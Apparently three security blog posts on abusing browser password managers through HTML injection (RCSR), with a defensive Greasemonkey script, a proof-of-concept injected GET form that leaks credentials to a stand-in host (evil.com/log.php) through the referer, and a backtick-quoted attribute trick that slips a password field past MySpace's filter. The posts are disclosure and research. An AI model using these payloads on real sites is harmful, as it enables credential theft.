stopgetpass.user.js - an interim solution

A couple of days ago I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:

for (i=0,c=document.forms.length;i<c;i++) {
    if (document.forms[i].method == 'get') {
        var password = false;
        for (l=0,k=document.forms[i].elements.length;l<k;l++) {
            if (document.forms[i].elements[l].type == 'password') {
                password = true;
            }
        }
        if (password == true) {
            document.forms[i].method = "post"
        }
    }
}

Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.

Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.

I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.

P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.

Breaking Firefox's RCSR Fix

In Firefox 2.0.0.2, the developers have done a lot of good in regards to helping prevent XSS and other attacks against the client; you can read the whole advisory here: http://www.mozilla.org/security/announce/2007/mfsa2007-02.html

And while their fix for the RCSR issue is good, its not perfect.

As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.

Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.

Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=<img src=http://evil.com/image.jpg> would inject an image into the page.

What we can then do is inject a form into the page which looks like this:

<form action="http://site.com/vuln.php" method="get">
    <input type="text" name="username" />
    <input type="password" name="password" />
    <input type="hidden" name="search" value="<img src='http://evil.com/log.php' />" />
    <input type="submit" value="Login" />
</form>

Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.

Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.

MySpace doesn't understand browsers (RCSR info)

You know what I hate? Advisories without enough info to verify a bug or PoC code. For example: http://www.info-svc.com/news/01-29-2007/myspace/ provides no information to anyone about what the nature of the issue is, or anything, it just says there is an issue, and of course once they do disclose something there is no proof that they did actually find something. And even more than that; I honestly don't care about people declaring that they've found security issues without giving specifics.

Anyway, I thought I'd go have a look myself, and here is a little snippet which works in both IE and Firefox;

<input type_="password" type=`password`>

Whether this is what Chapin Information Services found is unclear since they didn't release anything, but what is clear is that MySpace clearly understand the Non-Digit-Non-Alpha issue extends to all attributes, nor do they seem to understand that IE also allows grave accents (`) to be used instead of (single or double) quotes.

I really don't understand how many times they need to fix these issues before they begin to understand them.